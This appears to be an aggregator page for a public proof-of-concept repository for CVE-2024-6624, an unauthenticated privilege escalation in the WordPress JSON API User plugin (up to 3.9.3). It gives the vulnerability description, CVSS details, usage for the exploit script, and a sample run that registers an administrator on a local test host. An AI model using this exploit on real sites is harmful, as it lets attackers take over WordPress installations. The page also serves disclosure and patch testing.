CVE-2024-6624 PoC — WordPress plugin JSON API User安全漏洞

Source

https://github.com/RandomRobbieBF/CVE-2024-6624

Associated Vulnerability

Title:WordPress plugin JSON API User安全漏洞 (CVE-2024-6624)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin JSON API User 3.9.3版本及之前版本存在安全漏洞，该漏洞源于对自定义用户元字段的控制不当。

Description

JSON API User <= 3.9.3 - Unauthenticated Privilege Escalation

Readme

# CVE-2024-6624
JSON API User &lt;= 3.9.3 - Unauthenticated Privilege Escalation

Description
---
The JSON API User plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 3.9.3. This is due to improper controls on custom user meta fields. This makes it possible for unauthenticated attackers to register as administrators on the site. The plugin requires the JSON API plugin to also be installed.

```
State: PUBLISHED
Score: 9.8
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Privileges: None
Attack Vector: None
References:
 - https://plugins.trac.wordpress.org/browser/json-api-user/trunk/controllers/User.php#L51
 - https://plugins.trac.wordpress.org/changeset/3115185/
 - https://plugins.trac.wordpress.org/browser/json-api-user/trunk/controllers/User.php#L187
```

How to use
---

```
usage: CVE-2024-6624.py [-h] -u URL [-un USERNAME] [-p PASSWORD]

WordPress User Management Script

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Website URL
  -un USERNAME, --username USERNAME
                        WordPress username
  -p PASSWORD, --password PASSWORD
                        WordPress password
```

POC
---

```
python3 CVE-2024-6624.py -u http://kubernetes.docker.internal -un test -p testest123
Registration Response:
{
    "status": "ok",
    "cookie": "test|1727176928|2KSZ0T0maNhdNfQwcwgqForXPZpfGXuC8XHaje57whM|e724bfd3ee1103a9ba8431cd357ca5cd5387f836f3cb3c761050bd4a0a0e7b56",
    "cookie_admin": "test|1727176928|tOXMV0zq3m368KcQzNaw5zbdGBoYYrrIByOAGWX6gdo|9b003b21babd93c4490fc6ace4b768c2201317957dd0f7c1766c142cfb5f2647",
    "cookie_name": "wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa",
    "user_id": 41,
    "username": "test"
}
A new user with Administrator rights should of been now registered on http://kubernetes.docker.internal with the username test and password of testest123
```

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